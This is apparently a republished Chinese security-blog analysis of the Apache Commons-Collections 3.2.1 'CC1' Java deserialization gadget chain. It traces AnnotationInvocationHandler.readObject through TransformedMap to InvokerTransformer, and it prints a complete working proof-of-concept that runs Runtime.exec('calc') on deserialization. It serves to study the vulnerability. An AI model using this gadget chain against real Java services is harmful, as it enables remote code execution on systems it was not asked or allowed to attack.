关于Commons-Collections1反序列化的思考
2019-12-14 10:50:59 Author: xz.aliyun.com(查看原文) 阅读量:155 收藏

简要

网上已经很多对Commons-Collections1序列化链条分析的文章了,俗话说站在巨人的肩上才能看的更远,对于整个序列化与反序列化过程,接下来主要叙述我遇到的坑点与重点位置,为了更好的理解,在最后我会对整个过程中难以理解的地方用图片呈现。

环境准备:jdk1.8.0_60 commons-collections-3.2.1.jar

为了更好分析,我直接把代码贴出来,回溯分析

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;


public class serialize {
    public static void main(String[] args) throws Exception {
       new serialize().run();
    }
    public void run() throws Exception{
        deserialize(serialize(getObject()));
    }
    public Object getObject() throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer transformer = new ChainedTransformer(transformers);
        Map innermap = new HashedMap();
        innermap.put("value", "value");
        Map transformedMap =  TransformedMap.decorate(innermap, null, transformer);
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object cs  = constructor.newInstance(Retention.class,transformedMap);
        return cs;
    }
    public byte[] serialize ( final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }
    public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

首先声明Transformer的数组变量,ConstantTransformer在代码中的实现如下:

public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }
/*官方解答为
public ConstantTransformer(O constantToReturn)
Constructor that performs no validation. Use constantTransformer if you want that.
Parameters:
constantToReturn - the constant to return each time
*/

可以看到此方法返回构造器,咱们构造为Runtime类,接着调用了InvokerTransformer方法,源代码如下:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
/*官方解答为
public InvokerTransformer(String methodName,
                          Class<?>[] paramTypes,
                          Object[] args)
Constructor that performs no validation. Use invokerTransformer if you want that.
Note: from 4.0, the input parameters will be cloned
Parameters:
methodName - the method to call
paramTypes - the constructor parameter types
args - the constructor arguments
*/

调用方法,方法类型与方法参数,结合Runtime类,最终达到调用exec,所以整个数组,转化为常用代码就是

Object a = Runtime.class.getMethod("getRuntime").invoke(null,null);
Runtime.class.getMethod("exec",String.class).invoke(a,"calc");
//简化 Runtime.getRuntime().exec("calc");

可能这边大家有个疑问,Transformer数组和简化这个多了invoke方法,直接和简化一样不可以么,这时我就要简单叙述一下Runtime执行命令的顺序,首先它要获取当前环境,也就是getRuntime,然后使用exec执行命令,那这个反射是怎么执行的呢,首先和顺序一样,先要获取当前环境,也就是Object a,这时得到的环境不能直接exec,这是反射本身导致的,有兴趣的小伙伴可以深入研究一下反射的原理,我这就不叙述了,然后再通过Runtime类找到exec方法,反射调用刚刚获取到的环境Object a,加上命令,这样就可以运行了。

接着运行到ChainedTransformer方法,源代码如下:

public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }
/*官方解答为
public ChainedTransformer(Transformer<? super T,? extends T>... transformers)
Constructor that performs no validation. Use chainedTransformer if you want that.
Parameters:
transformers - the transformers to chain, copied, no nulls
*/

将Transformer数组转化复制给Transformer对象,接着走到TransformedMap.decorate方法中,这边就不展开分析了,作用为给Map对象赋值Transformer的键值。接下来和之前的反射差不多,调用sun.reflect.annotation.AnnotationInvocationHandler类,通过getDeclaredConstructor获取带参构造器并使用newInstance赋值传参。其中有四个疑点,一,目前为止未看到如何到达命令执行,二,为什么对获取的构造器要执行setAccessible操作,三,Map必须要put值么,第四,最后构造器赋值传参为什么是Retention.class,由此正向分析结束。我们从反序列化开始分析调用流程。

反序列化

既然上述分析到AnnotationInvocationHandler类,那么反序列化肯定从readObject开始,分析此类的readObject方法,为了更好的分析,我们选择逐步分析,首先贴出整段代码

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

其中有两个个重要的点,this.typethis.memberValues,这两个在之前构造器传参的时候带入。首先我们定位到var2=AnnotationType.getInstance(this.type)获取this.type实例化对象,这边随后再讲,继续到Iterator var4 = this.memberValues.entrySet().iterator();可以看到恶意代码经过entrySet()方法,这个方法源于Map接口,实现于抽象类AbstractMapDecorator,重写在AbstractInputCheckedMapDecorator,由下图可知处理后的数值

protected boolean isSetValueChecking() {
        return true;
    }

    public Set entrySet() {
        return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(this.map.entrySet(), this) : this.map.entrySet());
    }
protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }
public Iterator iterator() {
            return new AbstractInputCheckedMapDecorator.EntrySetIterator(this.collection.iterator(), this.parent);
        }
protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
            super(iterator);
            this.parent = parent;
        }

中间通过赋值到达var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));看着很多,其实主要是为了不报错,我这直接贴出处理结果

之后通过之前对var4分析,到达var5对应的setValue方法,代码如下

private final AbstractInputCheckedMapDecorator parent;
public Object setValue(Object value) {
    value = this.parent.checkSetValue(value);
    return this.entry.setValue(value);
}

可以看到this.parent就是之前var4,var4就是恶意代码的部分,这时会到达TransformedMap.checkSetValue方法,代码如下

protected final Transformer valueTransformer;
protected Object checkSetValue(Object value) {
    return this.valueTransformer.transform(value);
}

目前为止已经回溯结束,可能有些人还不明白,我这边再重复一下,到达这里以后,可以发现和valueTransformer就是之前TransformedMap.decorate传入的恶意代码,由ChainedTransformer方法将Transformer数组转化复制给Transformer对象,之后经过ChainedTransformer.transform方法,最终到达InvokerTransformer类中transform方法,代码如下,达到运行命令

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

回溯完以后,解答一下之前提出的疑问,第一个已经解答。二,执行setAccessible操作是因为AnnotationInvocationHandler类的readObject方法为私有。三,Map必须要put赋值键为value,因为之后var6会获取var5的键值,var7又会获取var6的类,如果var7获取不到,那么无法到达执行点(var2获取到的对象中Member types: {value=class java.lang.annotation.RetentionPolicy},Map var3 = var2.memberTypes(),var7执行get方法时只有value可以获取)。四,首先构造器传参第一个参数必须是class对象,那么符合原生class属性的有Override 、Deprecated 、SuppressWarnings 、Retention 、Documented 、Target 、Inherited 、SafeVarargs 、FunctionalInterface 和Repeatable,具体我就不分析了,我把我找到可以用的贴出来,SuppressWarnings、Target、Repeatable和Retention。


文章来源: http://xz.aliyun.com/t/6919
如有侵权请联系:admin#unsafe.sh